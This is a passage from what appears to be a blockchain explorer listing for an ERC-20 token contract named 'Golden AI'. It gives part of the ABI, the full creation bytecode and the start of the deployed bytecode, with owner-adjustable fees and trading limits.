ender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFeeBuy","type":"uint256"},{"internalType":"uint256","name":"_liquidityFeeBuy","type":"uint256"},{"internalType":"uint256","name":"_developmentFeeBuy","type":"uint256"},{"internalType":"uint256","name":"_marketingFeeSell","type":"uint256"},{"internalType":"uint256","name":"_liquidityFeeSell","type":"uint256"},{"internalType":"uint256","name":"_developmentFeeSell","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxBuy","type":"uint256"},{"internalType":"uint256","name":"newMaxSell","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newPercentage","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateThresholdSwapAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckEth","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600c805461ffff191690556101c0604052600060c081905260e08190526101008190526101208190526101408190526101608190526101808190526101a0819052600d819055600e819055600f81905560108190556011819055601281905560138190556014553480156200007357600080fd5b5060405180604001604052806009815260200168476f6c64656e20414960b81b81525060405180604001604052806008815260200167476f6c64656e414960c01b8152508160039081620000c89190620008a8565b506004620000d78282620008a8565b5050506000620000ec6200061b60201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d60808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000190573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b6919062000974565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000206573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022c919062000974565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200027a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a0919062000974565b6001600160a01b031660a08190526000908152601c60205260409020805460ff19166001179055608051620002d8906000196200061f565b506b1d14a0219e548224280000006064620002f5826002620009b5565b620003019190620009cf565b600855606462000313826002620009b5565b6200031f9190620009cf565b600955606462000331826002620009b5565b6200033d9190620009cf565b600a5561271062000350826005620009b5565b6200035c9190620009cf565b600b556001600e81905560006010819055600f8290556200037e9082620009f2565b6200038a9190620009f2565b600d5560016012819055600060148190556013829055620003ac9082620009f2565b620003b89190620009f2565b601155600780546001600160a01b031990811673d8484ffce30ba1fabb25e20c733c2bb615204db1179091556006805490911673baf57d7cd416791276acee7fb0344f13e0d9c8a71790556080516001600160a01b039081166000908152601a60208190526040808320805460ff19908116600190811790925560a051909516845290832080549094168117909355906200045b6005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152601a9093528183208054851660019081179091557f428bdc965569ef4717764ecfd84e88946a9a226b52b813e6ab6a7f46aad86e888054861682179055600754909116835290822080549093168117909255601990620004f46005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526019909352818320805485166001908117909155600754909116835290822080549093168117909255601b90620005646005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560805182168152601b9093528183208054851660019081179091557f6790d4910a095e0e04c8daa388834616a295bac3f59038957b6d0b93a2d216848054861682179055308452828420805486168217905560a05182168452828420805486168217905560075490911683529120805490921617905562000614338262000638565b5062000a08565b3390565b60006200062e33848462000738565b5060015b92915050565b6001600160a01b038216620006945760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b620006b0816002546200079960201b620010d21790919060201c565b6002556001600160a01b03821660009081526020818152604090912054620006e3918390620010d262000799821b17901c565b6001600160a01b038316600081815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600080620007a88385620009f2565b905083811015620007fc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016200068b565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200082e57607f821691505b6020821081036200084f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620008a357600081815260208120601f850160051c810160208610156200087e5750805b601f850160051c820191505b818110156200089f578281556001016200088a565b5050505b505050565b81516001600160401b03811115620008c457620008c462000803565b620008dc81620008d5845462000819565b8462000855565b602080601f831160018114620009145760008415620008fb5750858301515b600019600386901b1c1916600185901b1785556200089f565b600085815260208120601f198616915b82811015620009455788860151825594840194600190910190840162000924565b5085821015620009645787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200098757600080fd5b81516001600160a01b0381168114620007fc57600080fd5b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176200063257620006326200099f565b600082620009ed57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156200063257620006326200099f565b60805160a05161250062000a66600039600081816103e60152610e080152600081816107dc015281816118590152818161196601528181611dea01528181611ea301528181611edf01528181611f510152611fad01526125006000f3fe60806040526004361061023f5760003560e01c80637fa787ba1161012e578063c18bc195116100ab578063ef8700e51161006f578063ef8700e514610764578063f2fde38b1461077a578063f5b3c3bf1461079a578063f887ea40146107ca578063f8ec6911146107fe57600080fd5b8063c18bc19514610650578063d212a69a14610670578063d3f6a157146106de578063dd62ed3e146106fe578063e16830a81461074457600080fd5b8063a457c2d7116100f2578063a457c2d7146105b0578063a9059cbb146105d0578063b8863115146105f0578063c024666814610610578063c16dd4a41461063057600080fd5b80637fa787ba146105185780638da5cb5b1461052d57806395d89b411461054b57806396880b1714610560578063992c58e41461059057600080fd5b8063313ce567116101bc5780636ddd1713116101805780636ddd17131461047957806370a0823114610498578063715018a6146104ce578063751039fc146104e35780637571336a146104f857600080fd5b8063313ce5671461039857806339509351146103b457806349bd5a5e146103d45780634fbee19314610420578063555467a11461045957600080fd5b806318160ddd1161020357806318160ddd1461030d5780631a8145bb1461032c5780631c6e8a75146103425780631f3fed8f1461036257806323b872dd1461037857600080fd5b806306fdde031461024b578063095ea7b31461027657806310d5de53146102a657806311a582c3146102d657806313554854146102f857600080fd5b3661024657005b600080fd5b34801561025757600080fd5b50610260610806565b60405161026d9190612059565b60405180910390f35b34801561028257600080fd5b506102966102913660046120bc565b610898565b604051901515815260200161026d565b3480156102b257600080fd5b506102966102c13660046120e8565b601a6020526000908152604090205460ff1681565b3480156102e257600080fd5b506102f66102f1366004612105565b6108af565b005b34801561030457600080fd5b506102f661092e565b34801561031957600080fd5b506002545b60405190815260200161026d565b34801561033857600080fd5b5061031e60165481565b34801561034e57600080fd5b506102f661035d366004612137565b61096d565b34801561036e57600080fd5b5061031e60155481565b34801561038457600080fd5b50610296610393366004612152565b6109b1565b3480156103a457600080fd5b506040516012815260200161026d565b3480156103c057600080fd5b506102966103cf3660046120bc565b610a1a565b3480156103e057600080fd5b506104087f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161026d565b34801561042c57600080fd5b5061029661043b3660046120e8565b6001600160a01b031660009081526019602052604090205460ff1690565b34801561046557600080fd5b50610296610474366004612193565b610a50565b34801561048557600080fd5b50600c5461029690610100900460ff1681565b3480156104a457600080fd5b5061031e6104b33660046120e8565b6001600160a01b031660009081526020819052604090205490565b3480156104da57600080fd5b506102f6610a8b565b3480156104ef57600080fd5b506102f6610aff565b34801561050457600080fd5b506102f66105133660046121ac565b610b42565b34801561052457600080fd5b50610296610b97565b34801561053957600080fd5b506005546001600160a01b0316610408565b34801561055757600080fd5b50610260610bf6565b34801561056c57600080fd5b5061029661057b3660046120e8565b601b6020526000908152604090205460ff1681565b34801561059c57600080fd5b506102f66105ab3660046121e1565b610c05565b3480156105bc57600080fd5b506102966105cb3660046120bc565b610d2b565b3480156105dc57600080fd5b506102966105eb3660046120bc565b610d7a565b3480156105fc57600080fd5b50600c546102969062010000900460ff1681565b34801561061c57600080fd5b506102f661062b3660046121ac565b610d87565b34801561063c57600080fd5b506102f661064b3660046121ac565b610ddc565b34801561065c57600080fd5b506102f661066b366004612193565b610ec5565b34801561067c57600080fd5b50600d54600e54600f546010546011546012546013546014546106a3979695949392919088565b604080519889526020890197909752958701949094526060860192909252608085015260a084015260c083015260e08201526101000161026d565b3480156106ea57600080fd5b506102f66106f9366004612224565b610f16565b34801561070a57600080fd5b5061031e610719366004612224565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561075057600080fd5b506102f661075f3660046121ac565b610f70565b34801561077057600080fd5b5061031e60175481565b34801561078657600080fd5b506102f66107953660046120e8565b610fc5565b3480156107a657600080fd5b506102966107b53660046120e8565b601c6020526000908152604090205460ff1681565b3480156107d657600080fd5b506104087f000000000000000000000000000000000000000000000000000000000000000081565b6102f66110b0565b6060600380546108159061225d565b80601f01602080910402602001604051908101604052809291908181526020018280546108419061225d565b801561088e5780601f106108635761010080835404028352916020019161088e565b820191906000526020600020905b81548152906001019060200180831161087157829003601f168201915b5050505050905090565b60006108a5338484611138565b5060015b92915050565b6005546001600160a01b031633146108e25760405162461bcd60e51b81526004016108d990612297565b60405180910390fd5b6103e8826108ef60025490565b6108f991906122e2565b61090391906122f9565b6008556103e88161091360025490565b61091d91906122e2565b61092791906122f9565b6009555050565b6005546001600160a01b031633146109585760405162461bcd60e51b81526004016108d990612297565b600c805461ffff191661010117905543601855565b6005546001600160a01b031633146109975760405162461bcd60e51b81526004016108d990612297565b600c80549115156101000261ff0019909216919091179055565b60006109be84848461119a565b610a108433610a0b856040518060600160405280602881526020016124a3602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906117f6565b611138565b5060019392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108a5918590610a0b90866110d2565b6005546000906001600160a01b03163314610a7d5760405162461bcd60e51b81526004016108d990612297565b50600b81905560015b919050565b6005546001600160a01b03163314610ab55760405162461bcd60e51b81526004016108d990612297565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610b295760405162461bcd60e51b81526004016108d990612297565b610b356103e8806108af565b610b406103e8610ec5565b565b6005546001600160a01b03163314610b6c5760405162461bcd60e51b81526004016108d990612297565b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b60075460405160009147916001600160a01b039091169082908481818185875af1925050503d8060008114610be8576040519150601f19603f3d011682016040523d82523d6000602084013e610bed565b606091505b50909392505050565b6060600480546108159061225d565b6005546001600160a01b03163314610c2f5760405162461bcd60e51b81526004016108d990612297565b600e8690556010859055600f84905583610c49868861231b565b610c53919061231b565b600d5560128390556014829055601381905580610c70838561231b565b610c7a919061231b565b601155600d5460461015610cd05760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420373025206f72206c65737300000060448201526064016108d9565b60115460461015610d235760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420373025206f72206c65737300000060448201526064016108d9565b505050505050565b60006108a53384610a0b85604051806060016040528060258152602001612458602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906117f6565b60006108a533848461119a565b6005546001600160a01b03163314610db15760405162461bcd60e51b81526004016108d990612297565b6001600160a01b03919091166000908152601960205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610e065760405162461bcd60e51b81526004016108d990612297565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031603610e9a5760405162461bcd60e51b815260206004820152602a60248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201526936b0b935b2ba2830b4b960b11b60648201526084016108d9565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610eef5760405162461bcd60e51b81526004016108d990612297565b6103e881610efc60025490565b610f0691906122e2565b610f1091906122f9565b600a5550565b6006546001600160a01b0316331480610f3957506007546001600160a01b031633145b610f4257600080fd5b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6005546001600160a01b03163314610f9a5760405162461bcd60e51b81526004016108d990612297565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610fef5760405162461bcd60e51b81526004016108d990612297565b6001600160a01b0381166110545760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108d9565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b60065460075434916110cf916001600160a01b03918216911683611830565b50565b6000806110df838561231b565b9050838110156111315760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016108d9565b9392505050565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b806000036111b3576111ae838360006119dc565b505050565b6005546001600160a01b038481169116148015906111df57506005546001600160a01b03838116911614155b80156111f45750600c5462010000900460ff16155b1561148357600c5460ff16611287576001600160a01b03831660009081526019602052604090205460ff168061124257506001600160a01b03821660009081526019602052604090205460ff165b6112875760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016108d9565b6001600160a01b0383166000908152601c602052604090205460ff1680156112c857506001600160a01b0382166000908152601a602052604090205460ff16155b156113425760085481111561133d5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b60648201526084016108d9565b6113f9565b6001600160a01b0382166000908152601c602052604090205460ff16801561138357506001600160a01b0383166000908152601a602052604090205460ff16155b156113f9576009548111156113f95760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b60648201526084016108d9565b6001600160a01b0382166000908152601b602052604090205460ff1661148357600a546001600160a01b03831660009081526020819052604090205461143f908361231b565b11156114835760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016108d9565b30600090815260208190526040902054600b54811080159081906114ae5750600c54610100900460ff165b80156114c35750600c5462010000900460ff16155b80156114e757506001600160a01b0384166000908152601c602052604090205460ff165b801561150c57506001600160a01b03851660009081526019602052604090205460ff16155b801561153157506001600160a01b03841660009081526019602052604090205460ff16155b1561155c57600c805462ff000019166201000017905561154f611a99565b600c805462ff0000191690555b600c546001600160a01b03861660009081526019602052604090205460ff620100009092048216159116806115a957506001600160a01b03851660009081526019602052604090205460ff165b156115b2575060005b80156117eb57600060185443101561163d576115da60646115d4876063611c8d565b90611d0f565b905060636115e982605e6122e2565b6115f391906122f9565b60156000828254611604919061231b565b90915550606390506116178260056122e2565b61162191906122f9565b60176000828254611632919061231b565b909155506117cc9050565b6001600160a01b0386166000908152601c602052604090205460ff168015611666575060115415155b156116f457601154611680906064906115d4908890611c8d565b6011546014549192509061169490836122e2565b61169e91906122f9565b601660008282546116af919061231b565b90915550506011546012546116c490836122e2565b6116ce91906122f9565b601560008282546116df919061231b565b909155505060115460135461161790836122e2565b6001600160a01b0387166000908152601c602052604090205460ff16801561171d5750600d5415155b156117cc57600d54611737906064906115d4908890611c8d565b600d546010549192509061174b90836122e2565b61175591906122f9565b60166000828254611766919061231b565b9091555050600d54600e5461177b90836122e2565b61178591906122f9565b60156000828254611796919061231b565b9091555050600d54600f546117ab90836122e2565b6117b591906122f9565b601760008282546117c6919061231b565b90915550505b80156117dd576117dd8730836119dc565b6117e7818661232e565b9450505b610d238686866119dc565b6000818484111561181a5760405162461bcd60e51b81526004016108d99190612059565b506000611827848661232e565b95945050505050565b6000600b81905560408051600280825260608201835290916020830190803683370190505090507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d99190612341565b816000815181106118ec576118ec61235e565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106119205761192061235e565b6001600160a01b039092166020928302919091019091015261194f8484610a0b85670de0b6b3a76400006122e2565b60405163b6f9de9560e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063b6f9de959084906119a4906000908690899042906004016123b8565b6000604051808303818588803b1580156119bd57600080fd5b505af11580156119d1573d6000803e3d6000fd5b505050505050505050565b611a198160405180606001604052806026815260200161247d602691396001600160a01b03861660009081526020819052604090205491906117f6565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611a4890826110d2565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161118d565b3060009081526020819052604081205490506000601754601554601654611ac0919061231b565b611aca919061231b565b905081600003611ad8575050565b600b54611ae69060286122e2565b821115611afe57600b54611afb9060286122e2565b91505b600060028260165485611b1191906122e2565b611b1b91906122f9565b611b2591906122f9565b90506000611b338483611d51565b905047611b3f82611d93565b6000611b4b4783611d51565b90506000611b68866115d460155485611c8d90919063ffffffff16565b90506000611b85876115d460175486611c8d90919063ffffffff16565b90506000611b93828461231b565b611b9d908561232e565b60006016819055601581905560175590508615801590611bbd5750600081115b15611c0657611bcc8782611f4b565b60408051878152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b6006546001600160a01b03166108fc611c1f854761232e565b6040518115909202916000818181858888f19350505050158015611c47573d6000803e3d6000fd5b506007546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611c81573d6000803e3d6000fd5b50505050505050505050565b600082600003611c9f575060006108a9565b6000611cab83856122e2565b905082611cb885836122f9565b146111315760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016108d9565b600061113183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061202b565b600061113183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117f6565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611dc857611dc861235e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e6a9190612341565b81600181518110611e7d57611e7d61235e565b60200260200101906001600160a01b031690816001600160a01b031681525050611ec8307f000000000000000000000000000000000000000000000000000000000000000084611138565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611f1d9085906000908690309042906004016123ed565b600060405180830381600087803b158015611f3757600080fd5b505af1158015610d23573d6000803e3d6000fd5b611f76307f000000000000000000000000000000000000000000000000000000000000000084611138565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015611fff573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906120249190612429565b5050505050565b6000818361204c5760405162461bcd60e51b81526004016108d99190612059565b50600061182784866122f9565b600060208083528351808285015260005b818110156120865785810183015185820160400152820161206a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110cf57600080fd5b600080604083850312156120cf57600080fd5b82356120da816120a7565b946020939093013593505050565b6000602082840312156120fa57600080fd5b8135611131816120a7565b6000806040838503121561211857600080fd5b50508035926020909101359150565b80358015158114610a8657600080fd5b60006020828403121561214957600080fd5b61113182612127565b60008060006060848603121561216757600080fd5b8335612172816120a7565b92506020840135612182816120a7565b929592945050506040919091013590565b6000602082840312156121a557600080fd5b5035919050565b600080604083850312156121bf57600080fd5b82356121ca816120a7565b91506121d860208401612127565b90509250929050565b60008060008060008060c087890312156121fa57600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b6000806040838503121561223757600080fd5b8235612242816120a7565b91506020830135612252816120a7565b809150509250929050565b600181811c9082168061227157607f821691505b60208210810361229157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176108a9576108a96122cc565b60008261231657634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156108a9576108a96122cc565b818103818111156108a9576108a96122cc565b60006020828403121561235357600080fd5b8151611131816120a7565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156123ad5781516001600160a01b031687529582019590820190600101612388565b509495945050505050565b8481526080602082015260006123d16080830186612374565b6001600160a01b03949094166040830152506060015292915050565b85815284602082015260a06040820152600061240c60a0830186612374565b6001600160a01b0394909416606083015250608001529392505050565b60008060006060848603121561243e57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202bdd49ee6af7dc825f952360ce010ab64c010b0ff72aa64505e6cdc0ec83b74664736f6c63430008110033
Deployed Bytecode
0x60806040526004361061023f5760003560e01c80637fa787ba1161012e578063c18bc195116100ab578063ef8700e51161006f578063ef8700e514610764578063f2fde38b1461077a578063f5b3c3bf1461079a578063f887ea40146107ca578063f8ec6911146107fe57600080fd5b8063c18bc19514610650578063d212a69a14610670578063d3f6a157146106de578063dd62ed3e146106fe578063e16830a81461074457600080fd5b8063a457c2d7116100f2578063a457c2d7146105b0578063a9059cbb146105d0578063b8863115146105f0578063c024666814610610578063c16dd4a41461063057600080fd5b80637fa787ba146105185780638da5cb5b1461052d57806395d89b411461054b57806396880b1714610560578063992c58e41461059057600080fd5b8063313ce567116101bc5780636ddd1713116101805780636ddd17131461047957806370a0823114610498578063715018a6146104ce578063751039fc146104e35780637571336a146104f857600080fd5b8063313ce5671461039857806339509351146103b457806349bd5a5e146103d45780634fbee19314610420578063555467a11461045957600080fd5b806318160ddd1161020357806318160ddd1461030d5780631a8145bb1461032c5780631c6e8a75146103425780631f3fed8f1461036257806323b872dd1461037857600080fd5b806306fdde031461024b578063095ea7b31461027657806310d5de53146102a657806311a582c3146102d657806313554854146102f857600080fd5b3661024657005b600080fd5b34801561025757600080fd5b50610260610806565b60405161026d9190612059565b60405180910390f35b34801561028257600080fd5b506102966102913660046120bc565b610898565b604051901515815260200161026d565b3480156102b257600080fd5b506102966102c13660046120e8565b601a6020526000908152604090205460ff1681565b3480156102e257600080fd5b506102f66102f1366004612105565b6108af565b005b34801561030457600080fd5b506102f661092e565b34801561031957600080fd5b506002545b60405190815260200161026d565b34801561033857600080fd5b5061031e60165481565b34801561034e57600080fd5b506102f661035d366004612137565b61096d565b34801561036e57600080fd5b5061031e60155481565b34801561038457600080fd5b50610296610393366004612152565b6109b1565b3480156103a457600080fd5b506040516012815260200161026d565b3480156103c057600080fd5b506102966103cf3660046120bc565b610a1a565b3480156103e057600080fd5b506104087f000000000000000000000000abb34227fad95499aaf3336b01509dee90b5a9e981565b6040516001600160a01b03909116815260200161026d565b34801561042c57600080fd5b5061029661043b3660046120e8565b6001600160a01b031660009081526019602052604090205460ff1690565b34801561046557600080fd5b50610296610474366004612193565b610a50565b34801561048557600080fd5b50600c5461029690610100900460ff1681565b3480156104a457600080fd5b5061031e6104b33660046120e8565b6001600160a01b031660009081526020819052604090205490565b3480156104da57600080fd5b506102f6610a8b565b3480156104ef57600080fd5b506102f6610aff565b34801561050457600080fd5b506102f66105133660046121ac565b610b42565b34801561052457600080fd5b50610296610b97565b34801561053957600080fd5b506005546001600160a01b0316610408565b34801561055757600080fd5b50610260610bf6565b34801561056c57600080fd5b5061029661057b3660046120e8565b601b6020526000908152604090205460ff1681565b34801561059c57600080fd5b506102f66105ab3660046121e1565b610c05565b3480156105bc57600080fd5b506102966105cb3660046120bc565b610d2b565b3480156105dc57600080fd5b506102966105eb3660046120bc565b610d7a565b3480156105fc57600080fd5b50600c546102969062010000900460ff1681565b34801561061c57600080fd5b506102f661062b3660046121ac565b610d87565b34801561063c57600080fd5b506102f661064b3660046121ac565b610ddc565b34801561065c57600080fd5b506102f661066b366004612193565b610ec5565b34801561067c57600080fd5b50600d54600e54600f546010546011546012546013546014546106a3979695949392919088565b604080519889526020890197909752958701949094526060860192909252608085015260a084015260c083015260e08201526101000161026d565b3480156106ea57600080fd5b506102f66106f9366004612224565b610f16565b34801561070a57600080fd5b5061031e610719366004612224565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561075057600080fd5b506102f661075f3660046121ac565b610f70565b34801561077057600080fd5b5061031e60175481565b34801561078657600080fd5b506102f66107953660046120e8565b610fc5565b3480156107a657600080fd5b506102966107b53660046120e8565b601c6020526000908152604090205460ff1681565b3480156107d657600080fd5b506104087f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6102f66110b0565b6060600380546108159061225d565b80601f01602080910402602001604051908101604052809291908181526020018280546108419061225d565b801561088e5780601f106108635761010080835404028352916020019161088e565b820191906000526020600020905b81548152906001019060200180831161087157829003601f168201915b5050505050905090565b60006108a5338484611138565b5060015b92915050565b6005546001600160a01b031633146108e25760405162461bcd60e51b81526004016108d990612297565b60405180910390fd5b6103e8826108ef60025490565b6108f991906122e2565b61090391906122f9565b6008556103e88161091360025490565b61091d91906122e2565b61092791906122f9565b6009555050565b6005546001600160a01b031633146109585760405162461bcd60e51b81526004016108d990612297565b600c805461ffff191661010117905543601855565b6005546001600160a01b031633146109975760405162461bcd60e51b81526004016108d990612297565b600c80549115156101000261ff0019909216919091179055565b60006109be84848461119a565b610a108433610a0b856040518060600160405280602881526020016124a3602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906117f6565b611138565b5060019392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108a5918590610a0b90866110d2565b6005546000906001600160a01b03163314610a7d5760405162461bcd60e51b81526004016108d990612297565b50600b81905560015b919050565b6005546001600160a01b03163314610ab55760405162461bcd60e51b81526004016108d990612297565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610b295760405162461bcd60e51b81526004016108d990612297565b610b356103e8806108af565b610b406103e8610ec5565b565b6005546001600160a01b03163314610b6c5760405162461bcd60e51b81526004016108d990612297565b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b60075460405160009147916001600160a01b039091169082908481818185875af1925050503d8060008114610be8576040519150601f19603f3d011682016040523d82523d6000602084013e610bed565b606091505b50909392505050565b6060600480546108159061225d565b6005546001600160a01b03163314610c2f5760405162461bcd60e51b81526004016108d990612297565b600e8690556010859055600f84905583610c49868861231b565b610c53919061231b565b600d5560128390556014829055601381905580610c70838561231b565b610c7a919061231b565b601155600d5460461015610cd05760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420373025206f72206c65737300000060448201526064016108d9565b60115460461015610d235760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420373025206f72206c65737300000060448201526064016108d9565b505050505050565b60006108a53384610a0b85604051806060016040528060258152602001612458602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906117f6565b60006108a533848461119a565b6005546001600160a01b03163314610db15760405162461bcd60e51b81526004016108d990612297565b6001600160a01b03919091166000908152601960205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610e065760405162461bcd60e51b81526004016108d990612297565b7f000000000000000000000000abb34227fad95499aaf3336b01509dee90b5a9e96001600160a01b0316826001600160a01b031603610e9a5760405162461bcd60e51b815260206004820152602a60248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201526936b0b935b2ba2830b4b960b11b60648201526084016108d9565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610eef5760405162461bcd60e51b81526004016108d990612297565b6103e881610efc60025490565b610f0691906122e2565b610f1091906122f9565b600a5550565b6006546001600160a01b0316331480610f3957506007546001600160a01b031633145b610f4257600080fd5b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6005546001600160a01b03163314610f9a5760405162461bcd6